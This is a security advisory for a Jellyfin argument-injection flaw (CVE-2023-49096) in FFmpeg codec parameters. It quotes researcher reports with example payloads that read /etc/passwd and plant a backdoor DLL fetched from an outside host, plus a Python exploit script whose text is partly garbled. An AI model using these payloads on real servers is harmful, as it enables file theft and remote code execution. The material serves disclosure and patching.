Headline
CVE-2023-49096: Argument Injection in FFmpeg codec parameters
Jellyfin is a Free Software Media System for managing and streaming media. In affected versions there is an argument injection in the VideosController, specifically the /Videos/<itemId>/stream
and /Videos/<itemId>/stream.<container>
endpoints which are present in the current Jellyfin version. Additional endpoints in the AudioController might also be vulnerable, as they differ only slightly in execution. Those endpoints are reachable by an unauthenticated user. In order to exploit this vulnerability an unauthenticated attacker has to guess an itemId, which is a completely random GUID. It’s a very unlikely case even for a large media database with lots of items. Without an additional information leak, this vulnerability shouldn’t be directly exploitable, even if the instance is reachable from the Internet. There are a lot of query parameters that get accepted by the method. At least two of those, videoCodec and audioCodec are vulnerable to the argument injection. The values can be traced through a lot of code and might be changed in the process. However, the fallback is to always use them as-is, which means we can inject our own arguments. Those arguments land in the command line of FFmpeg. Because UseShellExecute is always set to false, we can’t simply terminate the FFmpeg command and execute our own. It should only be possible to add additional arguments to FFmpeg, which is powerful enough as it stands. There is probably a way of overwriting an arbitrary file with malicious content. This vulnerability has been addressed in version 10.8.13. Users are advised to upgrade. There are no known workarounds for this vulnerability.
As reported by @FredericLinn…
An argument injection 1 in the VideosController, specifically the /Videos/<itemId>/stream and /Videos/<itemId>/stream.<container> endpoints is present in the current Jellyfin version. Additional endpoints in the AudioController might also be vulnerable, as they differ only slightly in execution.
Those endpoints are reachable by an unauthenticated user, which is already known 2.
Impact
First of all: An unauthenticated attacker has to guess any itemId, which are completely random GUIDs. It’s a very unlikely case even for a large media database with lots of items. Without an additional information leak, this vulnerability shouldn’t be directly exploitable, even if the instance is reachable from the Internet.
There are a lot of query parameters that get accepted by the method. At least two of those, videoCodec and audioCodec are vulnerable to the argument injection. The values can be traced through a lot of code and might be changed in the process. However, the fallback is to always use them as-is, which means we can inject our own arguments.
Those arguments land in the command line of FFmpeg.
Because UseShellExecute is always set to false, we can’t simply terminate the FFmpeg command and execute our own. It should only be possible to add additional arguments to FFmpeg, which is powerful enough as it stands. I’ve verified three possible exploitation vectors:
- overwriting arbitrary files with a zero byte file by specifying and additional output
- including text files into the final video via the draw text filter 3
- including any file as an attachment to the final video
There is probably a way of overwriting an arbitrary file with malicious content. FFmpeg can retrieve output via numerous protocols, after all. Maybe those protocols can even be used to gather NTLM hashes 4. That’s only speculation, though!
Things we could do with the arbitrary file read while only using Jellythings:
- reset a user’s password (needs the username) and include the password reset file via the second vector from above, as we get the full path to the file in the resetting process
- include the whole Jellyfin database and look for API keys or Easy-Access-Codes to gain access
The first case should only be possible from within the local network, but I don’t know how a reverse proxy would change things.
It doesn’t really matter, because the file inclusion through stream attachments is a lot more powerful, anyway.
The passwords in the database are hashed, but the Easy-Access-Codes are plain text. Furthermore, Resetting a user’s password sets an Easy-Access-Code for that account, even if not specified before.
With that, an attacker could include the database, look for a user with admin privileges, reset their password via the reachable login page and include the database again the get the access code.
Again, I’m not completely sure about the local network aspect in the password reset process.
In the case of managing to gain admin privileges, the technique of replacing the media encoder with a malicious log file still applies in order to gain remote code execution.
While this is technically an unauthenticated arbitrary file inclusion, in reality it’s a lot more nuanced. Requiring a valid GUID makes unauthenticated exploitation highly unlikely, if not impossible.
As it stands, the vulnerability is dangerous in the hands of a low-privileged user who has access to itemIDs and usernames already, especially given the implementation of the password reset functionality.
As reported by @mawalu
The call to ffmpeg in VideosController is vulnerable to argument injection. This injection can be leveraged to read and write arbitrary files on the jellyfin host. Combined with the plugin system and a restart of jellyfin it is also possible to gain remote code execution.
Overview
The VideoCodec parameter of the VideosController#GetVideoStreamByContainer controller gets passed to ffmpeg without any validation. Since all ffmpeg arguments are passed as a single string it is possible to add additional arguments.
Arbitrary read & write of files can be achieved using the -attach and -dump_attachment:t flags of ffmpeg and mkv containers.
The vulnerability requires the attack to know a media id as a result it can’t be exploited by an unauthenticated attacker.
Possible fixes
Pass arguments to the new process as an array and not as a string. This way the injection of new arguments would no longer be possible. I’m not very experienced with c# but it looks like ProcessStartInfo.ArgumentList attribute seems to be relevant here.
Example payload
Read file:
/Videos/{media}/stream.mkv?VideoCodec=libx264 -attach /etc/passwd
-metadata:s:1 mimetype=application/octet-stream
Extract using ffmpeg -dump_attachment:t downloaded_file.mkv
Write file:
/Videos/{media}/stream.mkv?VideoCodec=libx264 /tmp/a.mkv
-dump_attachment:t
/config/plugins/configurations/Jellyfin.Plugin.Backdoor.dll -i
https://mawalabs.de/stuff/backdoor.mkv
The attachment of the hosted mkv file will be extracted to the plugin dir in this example.
Exploit example
import requests import time #import yt_dlp
remote = ‘http://localhost:8096/’ media = ‘8370335ee130690a60a26e56e39009af’ lport = 1337 base = ‘https://mawalabs.de/stuff’ # location of the backdoor.mkv
def encode§: return p.replace(' ', ‘%20’)
def download(remote, media, file): payload = encode(f"libx264 -attach {file} -metadata:s:1 mimetype=application/octet-stream")
\# downloading the mkv container with curl / request fails. quickfix
using ytdl #with yt_dlp.YoutubeDL() as ydl: # ydl.download(f"{remote}/Videos/{media}/stream.mkv?VideoCodec={payload}")
def upload(remote, media, file, base): payload = encode(f"libx264 /tmp/a.mkv -dump_attachment:t {file} -i {base}/backdoor.mkv")
requests.get(f"{remote}/Videos/{media}/stream.mkv?VideoCodec={payload}")
def main(): # print(“leaking file”) # download(remote, media, ‘/etc/passwd’)
print("uploading backdoor")
upload(remote, media,
'/config/plugins/configurations/Jellyfin.Plugin.Backdoor.dll’, base)
print("plz restart, waiting...")
time.sleep(20)
print("leaking filesystem")
print(requests.get(f"{remote}/api/pwn/ls").text)
main()
https://cwe.mitre.org/data/definitions/88.html ↩
https://github.com/jellyfin/jellyfin/issues/5415 ↩
https://ffmpeg.org/ffmpeg-filters.html#drawtext-1 ↩
https://en.wikipedia.org/wiki/Pass_the_hash ↩